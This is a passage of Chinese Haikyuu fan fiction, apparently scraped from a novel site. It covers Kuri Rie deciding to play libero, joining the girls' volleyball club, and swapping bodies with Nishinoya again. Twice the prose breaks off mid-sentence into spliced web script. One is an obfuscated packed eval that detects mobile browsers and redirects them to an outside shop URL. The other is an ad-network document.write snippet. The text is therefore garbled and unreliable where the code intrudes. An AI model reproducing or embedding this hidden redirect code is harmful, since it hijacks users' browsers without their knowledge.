某种意义上，日向翔阳的话点醒了九里绘，甚至可以说是一点就通。 去剖析、理解并快速掌握自己的真实想法，向来是九里绘的强项。 她不会违背自己的意愿，更加不会在任何情况下欺骗自己。 “嗯，我确实不讨厌多人竞技比赛，也不讨厌团队运动，只是出于一些个人原因，在刻意回避跟他人的组队罢了。”九里绘相当流畅地坦言道，“翔阳，感谢你的提醒。” 九里绘：“你果然是相当聪明的人。” 日向翔阳不好意思地揉起了他那橘色疯狂反翘的头发。 有人在夸奖他啦嘿嘿嘿，等等，聪明…聪明！？ 常年考试不及格的日向翔阳从别人口中听到了一个陌生的评价，不可思议地拍了拍耳朵，抛出的排球掉在墙角。 日向翔阳一个激灵立刻站得笔直：“不用谢！九里桑！” “日向呆子！你也休息好了吧，给我回来训练！”影山飞雄的声音冲破对话框。 “啊来了，可恶，影山混蛋你有本事喊得再大声点啊？！” 日向翔阳离开后，九里绘没再和别人聊天。 大家都有训练在身，她继续观望起体育馆内进行的各项训练，把每个人打排球时的情景保存在脑子里。 还有他们针对不同训练所采取的特训方案，这些都应该记下来作为参考才行，以后用得到…… 大约过了半小时，她认为记忆得差不多了，于是翻出了笔记本，在空白页开始记录。 九里绘像个桩子似的站在那里一动不动，专心致志地将目光盯准上空飞来飞去的排球。 她不会白白来跑一趟，也不想免费蹭别人的训练。 所以中途休息期间，九里绘注意到清水洁子有所行动，便上前询问。 而后和清水洁子一同背起箱包，帮忙往杯子里灌满水。 等回到体育馆，有了九里绘的不懈搭话，两人的关系已经熟络许多。 “清水学姐，感觉在你们的队伍里，我见证到了人吃饱饭的全过程。”九里绘没来由地冒出一句话。 清水洁子放下记录册，应道：“嗯？” “全身心投入到自己想做的事情上，好比一个能吃饭吃得很饱很香的人，看见他吃得如此幸福，我也会忍不住嘴馋。” 九里绘看准目标，伸出食指点在日向翔阳的位置，又以那里为起点挥出一个半圆，全神贯注地点向每一个在为排球挥洒汗水的队员。 最后也没忘记清水洁子。 看不见的幕后人员也是组成社团部门的重要一份子，九里绘始终坚持这条自定义的准则。 九里绘慢慢放下手，望着天花板感叹：“真不错啊，你们的排球部。” 所有人都是认真的、专心的。 就像是一个个吃饱饭的人。 清水洁子的表情微动。 “一开始见到九里同学时，以为九里同学会来申请担任排球部的经理。”清水洁子轻声开口，“之后，我也有想过邀请你来我们部……是我考虑错了。” “排球在九里同学心目中的位置不该在‘这里’。”清水洁子说。 九里绘听得云里雾里：“什么意思？” 这一反问，让有点不善言辞的清水洁子立即进入了沉默状态。 九里绘有端走神：学姐不说话的时候也好看！！ 清水洁子再三思索，尽力去表达自己的观点：“有条件去喜欢的话，不妨离得近一些、再近一些，多去感受它吧。” 再近一些…感受？ 还是建议她加入队伍的意思吗？ 提笔写字的手在纸张上停顿了良久，没等九里绘思索出相对靠谱的答案，忽然间，一只失控的排球像流弹一样朝场外急速飞来—— 带着强烈的旋转和不可估计的危机感。 “躲开！！”不知是谁大声提醒道。 九里绘迟钝地盯向它。 若放在平时，以她的反应力，要么是轻巧躲开，要么是抱着抢篮板似的觉悟把球夺到自己手里。 无论是哪种情况，九里绘都有办法解决目前经历的危机……可是当下有所不同。 由于一门心思与“排球在她心中到底处于什么位置”的疑问纠缠不清，从而抽不出多余的脑容量去思考。 九里绘毫不犹豫地放弃了思考。 身体完全依赖于本能做出反应，九里绘率先松开掌心扔掉了纸笔，而后将手臂内侧转至排球的方向。 位置太靠前了会被砸脸，那 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——“咚！！” 紧闭双眼的日向翔阳用力蹬地、挥臂，排球的手感准确无误地传达到了他的掌心，再睁眼时，球已经在对面的线内落地，传出重重的回响。 三次触球，一次完整的快攻。 “好！”手感很好！！ 日向翔阳惊喜地大喊，他转身去找九里绘，闪亮的眼睛还在说着：“是很棒的传球啊，九里同学！” 影山飞雄也说：“虽然没传到位，但高度还算够。” 日向翔阳满头黑线：“影山你能稍微读懂一下空气吗？” 渐渐的，后面叽叽喳喳的话语九里绘听不见了，她独自沉浸在纷乱复杂的情绪当中，满脑子都回放着刚才的片段。 接到了。 她接到了球。 九里绘震愣地看着自己的手心与接到球的手臂，在内侧一片密密麻麻的紫红色痕迹上方，尚且保留着击球后火热的余温。 还有后面的两次合作接应。 令她在幻想中不自觉地回到了国中时期…让她似乎见到了想象中永远都能接个好球的西谷夕。 ——那种仅有在观看到最精彩刺激的赛点时才能捕捉到的兴奋与畅意，却在这简简单单的一次传球中，轻而易举地重现了。 “九里桑！” 是日向翔阳走过来，他说：“一起打排球的那天，注意到九里桑可能在为队伍方面的事情纠结。” “我也不知道该怎么说才好，就想着让你参观一下我的队伍，说不定能帮上忙。” “很不错吧，我的队友们。”日向翔阳回过头，无比自豪，“虽然有些脾气性子古怪的家伙混入其中……” “但是果然，和他们一起打排球很开心啊。” 日向翔阳指向天空：“只要站在排球场上，就能体会到网的这一边全是伙伴，九里桑一定也会对此感兴趣的吧！” “……”九里绘张了张嘴，“谢谢你，翔阳。” 是啊。 到底处于什么位置，答案不是很简单嘛。 心底暗自有了结论，九里绘攥住拳头置于胸前，感受着胸口的心跳声震耳欲聋。 什么团队回避、团队排斥都滚边去吧。 好，决定了。 18.18章 18章——恐怖的聊天结界 聊天窗口的消息才看到“求婚失败”那段，第一张图片上的文字到这里结束。 九里绘的字迹不算端正也不算潦草，一笔一划都干净有力，在尾端肆意向上一挑，组合到一起还会变成又宽又大的结构，经常几个字就能占满格。 于是西谷夕急忙翻页，激动得手机在指间乱跳，甚至飞了出去——最后不得不以一个自由人的单手接球式收场挽回手机，方才冷静下来。 洁子学姐和九里同学……两位漂亮女生同时出现在一个画面里的场景，他完全不敢深入想象。 是天堂。（确信） 仿佛有一道圣洁的光束照在了他的头顶…哦抱歉，那是体育馆的吊灯。 西谷夕的情绪好不容易恢复平静，却见屏幕突然暗了下去。 【系统提示：九里绘撤回了三条消息。】 正着急阅读下文的西谷夕：“诶？？” 【九里绘：突然想保密，给西谷同学留点惊喜感，记录训练的那部分要亲自体验才会有最佳的感受。】 【九里绘：不过我可以担保，男排部的前辈们很认真很努力，一年级新生们也都很有趣，不会让西谷同学失望。】 【九里绘：啊对了，这个点西谷同学还在老地方特训吧，我马上到！】 没过多久，九里绘发送了一条因狂奔而导致路边景象全都在镜头前失焦的视频。 【西谷夕：好！保密！！】 【西谷夕：不坐公交改跑步吗？？好酷！！！】 【九里绘：节省热身时间啦！】 紧接着发送了一条在狂风和凌乱长发中竖起大拇指的视频。 【西谷夕：九里同学——】 【九里绘：西谷同学——】 有一件事，九里绘现在非常想去做。 或者说是求证。 * “我今天接到了排球。” 在室内吊灯的逆光下，迎着西谷夕的视线，九里绘的喘气声在他耳边不断放大：“学的是西谷同学的动作，稍微动了点模仿的念头，恰好在排球部用上了。” 看一眼就能立刻学会符合科学吗？答案是否，毕竟她没长出过一双写轮眼。 何况她看各种体育运动看了十几年，也没有发现自己有成为拷贝忍者的天赋，综上所述，那就只能用玄学来回答了！ “是西谷同学的功劳。”九里绘毫不犹豫地称赞，“不愧是西谷同学！” “啊。” 一上来就收到了自己头号粉丝的夸奖，西谷夕飘飘然地脸红耳热…咳，好歹他已经习惯了，遂故作正经地侧过身，45度角仰视上空，争取给九里绘留下一个伟岸的英姿。 西谷夕摆出自认为酷炫的造型，用上精心准备过的台词：“感谢你的支持，你的声音我会铭刻在心的。” 开玩笑，要是经历了那么多次直球还会被羞涩所困扰的话，他就成为不了九里同学心目中靠谱又帅气的偶像了！！ 要撑住啊，西谷夕！！ 九里绘自动略过了他的一系列奇怪举动，一个劲地掰手指分析：“西谷同学在互换期间练完排球后，让我的身体产生了肌肉记忆，所以短暂地提升了我的接球技巧。” “等等等下！”西谷夕才跟上她在说的话题，“真的只是我的作用吗！？” 九里绘不假思索：“嗯！” 西谷夕更是不经过思考：“九里同学也有功劳啊！” 九里绘疯狂摇头：“我不这么想，你看，我在学校里接的那次球就灾难到了极点，可见我——” 啪嗒一声重击，西谷夕的手用力拍在自己的脸颊两侧，故意中断了发言。 “咦？”九里绘愣住。 “请不要太小看自己了，九里同学！”西谷夕双手交叠在一起，又迅速向外摊开十指，“九里同学会跳体操、踢足球打篮球样样都行，怎么就不能擅长打排球了！？？” 九里绘呆滞了几秒，眨动眼睛：话说前几项和打排球有什么关联性吗？！ “让身体掌握到从未接触过的技巧——这种事情九里同学分明也有努力，每天都在拼命练习。”西谷夕大声嚷嚷，竖起三根手指，“再试试看！” 九里绘有被鼓舞到，内心深受触动：“好。” 说三就三，三分钟后…… 以排球乱飞乱弹，并完美从死角击中了西谷夕后脑勺的惨痛结尾告终。 “抱歉！” 眼看九里绘就要变成立体纸片人失去意识，西谷夕连忙摆手：“别在意！没……”没事的。 话还没来得及说出口，他隐约听见一声短促的笑声。 “噗。” 不是错觉。 顷刻间，西谷夕瞪大了眼睛，可是从他的视角看去，女生的表情没有丝毫变化，还是和原来一样的沉着且淡定。 只是这溢出嘴角的一声气音……直觉告诉他，九里绘的心情很不错。 她一刻也没有为猜想的落空而感到失落，反而兴致勃勃地说：“接得很差劲也算是打排球开端的一种…吧？” 九里绘仰望悬挂的吊灯，随后低头喃喃细语，斜长的刘海下滑，发丝挡住了她的眼睛：“我决定开始打排球，正式加入排球队，西谷同学。” “从最基础的练起，从什么都没有的队伍开始建起，我会尽快追上你们的。”她猛然抬起头，将刘海甩到耳边，展露出最专注的表情。 …… 要不是自己还有特训要做，西谷夕能够当众表演个幸福到晕倒。 此时此刻，那句反复在心中提醒他的话语凸显出了含金量：西谷夕，你一定要撑住啊—— 西谷夕左看看右看看，咬着牙在离开前一步三回头。 “我在那边练习，你有什么问题尽管找我。” 九里绘欣然：“好。” 才走没多久，西谷夕立马原路折返。 “我随时都有空——可以教你接球的！！”他超级大声。 九里绘仍然只是点点头：“好。” 在西谷夕离开后，兜兜转转走回来的中尾莲戳穿：“那小子的意思是，你现在就可以找他学排球，他特别希望你能主动开口。” “是这个意思嘛。”九里绘表示受教了。 中尾莲看了看他掌中的游戏机，又看了看九里绘，发出一声长长的叹息。 要不是姐姐中尾葵回归社团，家长还都以为他有社团要参加，不能提前回去，他也不至于沦落到成为吃瓜群众的地步。 “真是搞不懂你们俩在光天化日之下搞什么play，明明都是球技很不错的家伙，还都要装新手，我可见过你的鱼跃救球呢。”中尾莲说。 九里绘没听懂前半句的意思，但是后半句明显让她想起了互换那天的事。 自由人高手“九里绘”和排球小白“西谷夕”…… “这种奇怪的play到底什么时候才会结束啊？”中尾莲问，又傲娇地转了个性子。 “…话说回来，要是我用这个词来形容你们两个的关系，让你感到不舒服了，记得说。” “但是，我拒绝。”九里绘自顾自地回话，面部轮廓突然变得深邃。 中尾莲：“？？？” 九里绘依靠经验思考道：“唔，师父领进门，修行全靠个人苦练，等抓完基本功，后面的技巧才该请教前辈和老师吧。” 回答的是主动请西谷来教她的那段建议。 其实还有一个重要的原因，那就是西谷同学教导的内容实在是太难懂了。 跟他聊天时，话题特别容易拐到排球上，导致九里绘已经提前领略到了一整套“西谷式接球教学法”。 西谷夕：“先【唰】得一下，再【嗖】得一下，最后【嘭】得一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13759142|145036||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，就可以了。” 九里绘：（想象力模块停止运行） 西谷夕：“能明白吗？” 九里绘：……（这种时候说不能也不太符合她的心情） 九里绘：！ 等等，她理解了！ 用极其简单的语气词就能把接球的要领直接概括出来，西谷同学的接球技巧果然强大。 九里绘对此抱有强烈的敬畏之心，遂秒答：“明白了！” 她坚信，一定是她的理解太浅薄，所以才会暂时听不太懂。 就像游戏中等级不足就无法习得技能一样，一定是她的实力太差，所以才无法品味出西谷老师教学的深意…… * “九里同学！你的排球滚到我这边来了！”休息期间，西谷夕找了个合情合理的缘由趁机跑来关心。 他看到中尾莲，眉毛轻轻上挑，打招呼：“哟，小弟弟！” 中尾莲发出惨叫：“啊啊啊啊——” 九里绘扭过头，用毛巾擦拭脸颊和脖颈地带的汗渍，轻声回复：“谢谢。” 她提了一个简单到送分的问题：“西谷同学最喜欢排球场上的哪个位置？” “自由人！”根本不需要思考，西谷夕自信满满地说，“因为自由人很帅气！” 九里绘给予肯定：“是的，很帅气。” 西谷夕抱住手臂，扬起下巴：“超帅的吧！” 九里绘接话：“嗯，超帅！” “那我自然也是——”西谷夕荡漾的声线在瞥见她手臂上的紫红点时戛然而止。 他的大脑又变成了一片空白。 每次见到九里同学，脑海中酝酿好的内容就会轰然消散……已经不是第一次出现这种情况了，似乎每一次都是如此。 大脑宕机之时，他一愣一愣地僵在原地，发现九里绘正牢牢注视着他。 在开口之前，九里绘等待着，浅蓝色的眸中始终只有他的倒影。 西谷夕也顺势回看她的眼睛。 从这段无端开始的对视中，他本能地清空脑海里原先保存过的计划，并断定要换个方式继续开口。 那些原本的计划不外乎是什么得到帅气的夸赞，或是向头号粉丝表达他的谢意。 可西谷夕忽然察觉，比起为他的实力捧场、对他男子气概的肯定……这些话题放在现下都不重要，今后随时可以再接再厉，重新展现。 一定还存在着某种更让他心满意足的方式，绝对是他想要向九里绘证明的，最合适的真心话。 ——想传达给她。 “你要不要，也当最帅的自由人！！”西谷夕倏地一下将排球双手递到她面前，目光坚定，仿佛在传递一把火炬。 “来打自由人的位置吧，是九里同学的话，肯定不会有问题。”就像接球时能轻松使出的本能，西谷夕再次抓到了这份不可明说的自信。 他只是相信而已，不需要多余的理由，因为眼前的人可是九里绘啊。 抱球的动作像是捧着稀世珍宝，他的脸上覆盖着一层剧烈运动后淡淡的红晕：“毕竟九里你…也是超帅的嘛！” 轰隆！！！ 刹那间，九里绘抿起的嘴缝差点与天空肩并肩。 全身的肌肉在这一刻似乎全都在下意识地用力，九里绘狠狠抱住排球，雀跃的声线随她的眼型一同向上翘起：“即刻起请叫我里绘，西谷同学。” 西谷夕质疑起自己的听力：“…什么？” 九里绘向前迈进一步，满脸认真：“请叫我里绘，这是我毕生…不对，我毕天的请求。” 西谷夕被突如其来的直球击退半步：“…诶！！！？？” 中尾莲感受到了一股强大的气场，更是往后退了几步：“……” 这两个家伙聊天是自带结界的吗？好可怕，好恐怖。 他不该在这里，他应该在车底。 19.19章 19章——身体，又互换了 一大清早，九里绘已抵达学校，和从身边跑出残影的影山与日向远远说了声早，目睹侧门差点被他们掀翻。 反观她垂下手臂，乖巧地把手放在身前，注视着门卫叔叔。 打着哈欠的门卫叔叔在这股专注的视线下只好快速动身，开启了学校的大门。 “多谢，您也早上好。”九里绘点点头，向操场走去。 在校内完成体能和柔韧度的单独加练，她看了眼时间，拾起背包马不停蹄地冲到第一体育馆。 “打扰了，道宫学姐，请让我加入排球部！”九里绘拿出了她那张字迹龙飞凤舞的社团申请书。 回应她的是一脸惊讶的道宫结，和一个没见过的白发黑皮学姐。 个头很高，外貌配色很出挑，鼻梁看起来也很有特征……是混血吗？ 九里绘看得有些出神，直到道宫结和白发黑皮学姐像是此地无银三百两似的用力把工具间藏在背后，她才发现二人正在做的事情很可疑。 九里绘：虽然不知道在干什么总之先盯—— “吓我一跳，我还以为是找上门的教导主任和老师。”白发黑皮学姐松了口气，惊恐的脸上重新挂起开朗的笑容，“哟，你好啊学妹，我是雪菜萝丝。” 没听过的罕见姓氏加一个外语风格的名字，果然是混血啊，但讲起日语来一点古怪的口音也没有。 九里绘拉上体育馆侧门，介绍了自己的名字，而后听见雪菜萝丝言简意赅地补充道：“排球部副队长，三年级，位置是二传，还有最重要的一点——是雪菜萝丝不是雪菜肉丝！！” 道宫结解释这个梗的含义：“因为萝丝的名字其实是Rose。” 雪菜…肉丝（Rose）…… “盖浇……！”九里绘的眼睛都亮了，直流口水，“雪菜肉丝面好吃！” “啊啊啊我就知道一定会发生这种事！！”雪菜萝丝尖叫，又转眼间恢复了自信的气场，“不过我习惯了！真的！” “好了萝丝…九里学妹，把申请书给我就好，我会留一份转交给老师的。”道宫结笑容温和地说，“我仅代表大家热烈欢迎你的加入。” “答应过学妹们的事，我也成功了一部分！”道宫结的语气里有一点藏不住的兴奋。 九里绘愣了一下，她没想到只凭自己的几句话就能引发如此强烈的反馈……这种重视是她以前没机会体验到的。 若是放在曾经，她的很多想法和建议都会在所谓的“这件事我们回去探讨并考虑下”之后石沉大海吧。 九里绘心存感激，忍不住开始亲近她们：“是二年级的学姐们回来训练了吗？” “是的，但好消息不只有那一个。”道宫结和雪菜萝丝朝旁边挪了几步，展示出隔间里的情况。 前一天还遍布灰尘的工具间，今天被打扫得干净许多，还添了崭新的拖把扫帚等清洁工具。 她似乎瞥见了箱子里的小铁片，是举重物品吧。 雪菜萝丝抹了抹鼻子：“这可是我班里上个学期淘汰下来的质量最好的一批。” 道宫结“诶”了一声，情绪激动：“没有过老师的审批……原来是萝丝你偷拿的吗！？” 雪菜萝丝耸肩：“过审批很麻烦的啦你又不是不知道，而且归根到底…因为没有经费嘛！” 道宫结坚守立场：“那也不能偷偷……” “我和保洁阿姨们的关系好，我前个月放假没事干，帮她们抢过超市的降价鸡蛋，这是她们送我的。”雪菜萝丝拿出杀手锏。 雪菜萝丝：“其它东西是我昨晚抱着篮球部队长大腿借来的啦！” 道宫结的立场依旧稳定：“那也…好，不是偷来的就可以。” 九里绘听呆了。 道宫结不好意思地说：“毕竟…没有经费，也很难申请嘛。” “好。”九里绘对雪菜萝丝投以敬畏的眼神，“辛苦你了，雪菜学姐。” 十分钟后，有栖川由梨和中尾葵陆续到达体育馆，十五分钟后，西村纱奈和另外三名没见过的二年级学姐踩点出现。 “早上好！海野学姐，井理学姐，月见里学姐！”有栖川由梨活力满满地守在侧门口，问候每个人。 “今天佐佐木学姐还是没有来啊！” 中尾葵听罢，像是终于放心下来，拍了拍自己。 “……”九里绘暗中观察着这一切。 她对二年级成员们的印象不深刻，那些人暂且放下不提。 伴随着隔壁篮球部晨练的整齐哨音，女排部也光明正大地蹭起一模一样的的节奏完成了热身。 两筐排球在滚轮声中被推出来摆在角落。 “说起来，我们社团是不是有个传统项目叫新生入部赛？”西村纱奈问道。 “是的，本来只有中尾学妹和有栖川学妹两个人的时候，我很担心办不起来。”道宫结说，“现在有了九里学妹的加入，可以重新启动了。” 雪菜萝丝：“是那个、果然应该是那个吧！” 道宫结：“嗯，3v3。” * 身体疲惫的九里绘在知识的海洋中溺水……一睡不醒。 到了放学，中尾葵把她拉起来去补课，约好补课结束就在体育馆见面，九里绘才勉为其难地去卫生间洗了把脸，慢悠悠地走去教室。 坐进好几个班学生合并到一起的补习教室，她揉揉眼睛，遇到了两位熟人。 “翔阳，影山同学，下午好。”九里绘说。 日向翔阳高兴地喊：“九里桑好！” 影山飞雄显然在走神，但有及时回应：“下午好。” “近期的排球训练怎么样？”九里绘姑且这么一问，结果正中靶心。 原本昏昏欲睡的两名排球狂热人士浑身一震，头脑变得无比清醒。 被问起排球相关的情况，日向翔阳就有使不完的劲和说不完的话，亮着星星眼同九里绘分享练球的事。 在他的畅谈风格中，九里绘发现了一个奇妙的巧合。 尤其是当她从日向口中听到第四遍“砰”啊“啪”啊之类的象声词描述时，九里绘感觉自己的脑筋也跟着“啪唧”一下，想象力闪过一条白线，随之大彻大悟。 原来这就是打排球的人通用的表达方式啊！ 不仅是西谷同学，连日向也是如此…懂了，她完全理解了一切（升华.jpg）。 听日向说了许多，九里绘内心的分享欲紧跟着肆意滋长，赶在老师进教室前，她快速解开外套袖口的钮扣，将袖子拉到手肘，自信展示：“看！” 手臂肌肉，还有“战士的勋章”！ 在靠近内侧的皮肤下，深红色与黑紫色的斑点密密麻麻地贯穿了整条前臂，这种熟悉的痕迹两人再清楚不过了。 “排球！”来自日向和影山的异口同声。 九里绘竖起大拇指，神神秘秘地取名为：“初学者限定款。” 这时，补习课老师笑容满面地走进教室：“你们准备聊到什么时候去？” 他们连忙闭嘴，在桌面上立起书本埋头装死，勉强靠眼神交流。 老师在上面发话：“大家把试卷都拿出来。” 三人在下面各自精彩。 日向翔阳在为补习课结束后的训练补充能量，咬着酸奶盖偷偷用余光打量旁边。 瞟见某人后不可思议地瞪圆眼睛：为什么影山醒着！…他居然还听讲得那么认真！！ 这不可能！ 九里绘困得眼皮子直打架，下巴来回点地，胡乱朝着一旁的空气伸手：拜托了，什么都可以，请救救我—— “……？” 恰巧被坐在隔壁的影山飞雄捕捉到了动向，他犯难地眉头紧锁，苦思冥想，被迫做了一道毫无头绪的动作理解题。 接着，从桌肚翻出一沓夹在试卷里的排球手册——他的保持清醒秘诀，精准地传到九里绘的掌心。 手指在感受到异物后条件反射地攥紧，九里绘猛然抬起头，醒了。 睁眼就看见影山飞雄向她投来看不懂的眼神。 九里绘：？ 她盯着手中炫彩的封面图、夸张的标题文字之《连月刊排球看了都说好的讲解手册：如何接好一传》揉了揉眼，几度陷入沉思。 九里绘关注到的重点：“传”字。 想起来了，自由人是专攻防御的位置，首要任务是做好后排防守，包括但不仅 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 限于接下对方攻击性的发球和一传。 必须要刻苦钻研的东西增加了，有意思，她看！ 谢谢你，影山同学。她清醒过来，回以感激的眼神。 有来有往，影山飞雄也没看懂她的意思，两人的脑回路相交失败。 九里绘一边翻页一边在心里嘀咕：排球好，补习坏。 ……能不能以后只上排球补习班（胡言乱语）。 * “我差点忘记问了，小绘打的是什么位置？”有栖川由梨在休息期间凑到九里绘身旁坐下。 她是个很有活力又闲不下来的人，二年级们都在旁边瘫倒，累得说不出话，有栖川由梨还抱着她心心念念的排球，和心心念念的打排球的队友搭话。 此刻，体力很好的九里绘放下看到最后一页的一传手册，说：“大概是自由人吧。” 三年级们猛然转头：“自由人！” “自由人好啊，上一届的学姐毕业后，我还以为这届没有自由人了。”雪菜萝丝欣慰地感叹，“感觉未来充满了希望！” 中尾葵忽然突破极限爬了起来：“什么！？可是小绘你托球和发球的水平都不错啊！” 她小声嘀咕：“我还以为你是二传来着……力气很大的话，或许是主攻。” “不可能，我的发球是悲剧的全垒打，托球的话…我的托球算不错吗？”九里绘诧异地反问，“我才刚接触排球不到一个月，也没有正经研究过。” 她低头陷入思考，脑海中闪过几段一起训练的画面，随后肯定地开口：“是小葵能够适应别人的托球吧。” 中尾葵还是不愿接受现实，不依不饶地缠着九里绘发球展示一下。 九里绘刚好觉得进行了机械训练的身体需要伸展，于是抓起排球…… 啊，她的手掌太小没握住，排球脱落了。 半分钟后，九里绘在发球区域闭上眼，心中充满仪式感地念出步骤。 抛球，双臂自然地在两边划弧摆动，屈膝蹬地跳起，腾空发力—— “啪！！！” 排球严严实实地砸在自天花板垂下的围网中间。 篮球部成员们无一例外地停下了手中的动作，纷纷抬起头，望着那颗因旋转过猛，而在空中停了两秒钟才落下的三色球。 “……”要是没有围网，单看这个力度，大概率能从体育馆的这一头直接砸到那一头吧。 顿时感到头顶充满了劫后余生的凉意……怎么回事，排球不是个相对没有性命危险的运动吗！？ “就像这样，只学了点动作，具体技术很烂。”九里绘一脸洒脱地转了转手腕。 一片寂静之中，雪菜萝丝哇得一声哭了出来：“九里绘，你应该来打二传！” “该死，这种意识不到自己强的装范方式好帅！”有栖川由梨捂住胸口。 “别顾着接球传球了，发球、托球、拦网都需要你的力量啊九里学妹！！QAQ”雪菜萝丝大哭大闹着冲过去。 九里绘拔腿就跑。 道宫结出来圆场：“好了大家，每个人都有自己喜欢的事。” 西村纱奈忍俊不禁：“……强扭的瓜不甜。” 雪菜萝丝：“没扭过你怎么知道甜不甜！努力一下说不定我引退后就能有接班人了！！” 在她逃，她追，她们都插翅难飞的背景下，九里绘笑出了声。 一丝细微的弧度悄然绽放在嘴边，九里绘觉得，这一刻足以填补以往三年都没有尝试到的感觉。 像是吹到了一股温暖与宁静的柔风。 …… 带着一天的美好记忆入睡，在梦中，九里绘又见到了熟悉的球网，而和观众席的那次不同，这次她正处于赛场之中。 球网似乎比她印象中的高了一点…… 【Nishinoya！】 不明人士的声音自侧边响起，九里绘看见一颗三色球正朝着她的方向急速坠落。 紧接着眼前一黑。 再睁眼时闹铃已经响起，九里绘茫然地望着日式和风建筑格调的天花板，大脑缓慢重启。 她扯了下胸口的睡衣布料，一秒辨认出现状。 ……身体，又互换了。 20.20章 20章——没人辟谣那就不叫造谣 不妙，非常不妙。 这次可跟第一次互换时的情况不一样，西谷夕在这周重返社团，而九里绘也有了稳定的部活要参加。 各自面对相当多数量的队友，想再和上次那样毫不顾忌地顶着壳子做出不符合性格的举动来……隐藏秘密可就难了。 不过好消息是有了互换身体的经验，九里绘不慌不忙地翻开手机盖，在通讯录里翻找自己的名字。 “九”……嗯？搜“九”没有搜到？ 她疑惑地撤销拼写，然后想了想，输入名字。 弹出来了，是【里绘】。 嗯，西谷果然有把她的话认真听进去。 顺带一提，她在自己的手机通讯录上给对方的备注是【西谷夕】全名。 拨下号码，等了片刻之后，对面的西谷夕接通了。 上来便是震惊到结结巴巴的语气：“是是、是我，身体又换成对方的了！” 反观九里绘十分淡定地起身走到窗户边：“事已至此，今天就麻烦你了，西谷同学。” “…是！！”西谷夕下意识高声应道。 九里绘揉揉眼角：“参考上一次，每次互换应该都只有一天吧，过渡的转场加载画面是睡觉醒来。” 西谷夕用极细的声音喃喃自语：“所以只要到了晚上睡觉，就可以换回来了嘛。” “转场加载画面……这种形容很具体形象诶。” “只是一天的话恐怕揪不出互换身体的真相，所以我准备去找专业人士看看——”九里绘说。 “对，就用我们上次在天台一起想到的办法，先提前跟玄学相关的专业人士预约，要是没有第三次互换了，再取消也来得及。” “如今可不是演习了，西谷同学。” 九里绘压低声线，一夜没有沾水的嗓音带了些许沙哑的痕迹：“是实战，【绝对不能被亲朋好友发现‘我’不是‘我’而为我们过多担忧】的特别行动！” “！！”电话那头传来女声清亮的惊叹，“可恶！听起来超燃的啊！” “就是这样，事不宜迟，晨训不能迟到，来不及解释了剩下的事Line上说。”九里绘说。 “区区互换身体，怎么可以阻止我们打排球的脚步呢？我会连本带利地一起练回来，西谷同学也要加油！！” 西谷夕也燃起来了：“是！！” 啪叽一声，电话挂断了。 一回生二回熟，简单的洗漱过后，九里绘把桌面上的东西一股脑儿塞进书包，从衣柜里随机拎出两件衬衫。 披上黑色西装制服，用和女式衣物相逆的顺序从左往右扣到最上面，离开房间。 出门前路过客厅，九里绘的目光被桌上的一张合照吸引住。 照片中有四位并排坐在中间的老人，两名一看就是父母辈的成熟大人，还有四个身高像是信号格依次排开的小孩。 要问最让人印象深刻的点……一定就是照片上的所有人都是清一色的开朗露齿笑，嘴角像是顺时针转了九十度的D。 首次互换时这张照片还没有摆在客厅，九里绘看的这一眼，令她想起西谷夕提过他的家庭成员构成。 不仅是喜欢出远门到处旅行的父母，还有同样呆不住家一毕业就不见踪影的姐姐们，也就只有西谷夕这个读高中的姑且乖乖留在宫城县。 真是人山人海的一家。 “夕你一大早就煲电话粥啊？蛮少见的。” “……” 九里绘僵硬地使唤身体动起来，转向走廊上突然出现的老人：“啊，早。” 西谷节男：“？” 九里绘：“……” 西谷节男眯起眼：“？？？” 九里绘疯狂流汗：“看、盯着我看什么啊？！” 正想要转身往外跑，就看见西谷节男摸着下巴幽幽地说：“总觉得你今天不在状态。没睡好吗？” 九里绘的大脑飞速运转起来，这种时候应该说什么……对了，绝对不能掉入自证陷阱，要把节奏掌握在自己手里。 “肯定不对劲啊！”她一鼓作气抢答道，“我今天，甚至都没抹发胶。” “爷爷你懂我的意思吧？”九里绘板着脸，故作神秘地反问道。 “嗯——”西谷节男若有所思，眼神闪动，“和什么人约好了见面？” “没错！”九里绘立刻抓住了标准答案，叉腰挺直身板，再很有气势地竖起大拇指朝向自己，“爷爷你别管了，我有自己的计、ji…节奏。” “我今天，可是要去见里绘的啊！！” 这下，西谷节男彻底恍然大悟。 随后他冲到面前用力锤了一下“西谷夕”的背，边拍边笑得特别大声：“不错嘛不错嘛，加油，你能行的！” “下次直接邀请别人来家里玩啊。”西谷节男欣慰道，“到时候就别装这种腔调了，直接点，拿出你最真诚的实力来！” 虽然不清楚西谷夕的爷爷自行脑补了什么跌宕起伏的故事，但好歹蒙混过去了。 等等，细品之下，这个理由也太万能太好用了吧。 陷入头脑风暴的九里绘背起包走向庭院大门，丝毫没有注意到背后，来自爷爷恨铁不成钢的视线。 臭小子，谈了啊。 还为了谈恋爱凹从来不存在的人设，还高冷酷哥。 西谷节男：……不行，越想越丢脸。 * 九里绘觉得，她现在扮演西谷夕强得可怕。 只要套用万能公式，她就能从别人的口中得到对方想要的答案，再顺着那方面往下说，基本就能成功应付对话。 八成情况下还能收获鼓励之类的正面反馈，二成情况能获得来自对方的…友谊的挥拳？？ “阿谷你这家伙——” 田中龙之介的友谊一巴掌（？）落到背部，差点把“西谷夕”整个人给扇飞出去。 幸好九里绘及时稳住核心，撑住了大大咧咧的人设：“怎么了！？” “私人对话。“田中龙之介一本正经地说，“咱们出去聊。” 到了走廊。 田中：“阿谷，你老实告诉我。” 九里绘：“…好，我一定实话实说。” 千万别是戳破她今天状态古怪的内容。 “你最近是有什么心事吧。”田中龙之介语气凝重，“今天晨练时看你一言不发，甚至连洁子学姐出现，你都没有和我一起冲上去使用飞扑。” “只有这样？！”她勤勤恳恳把热情似火的人设贯彻始终，没成想还是因为不够炽热而翻车了。 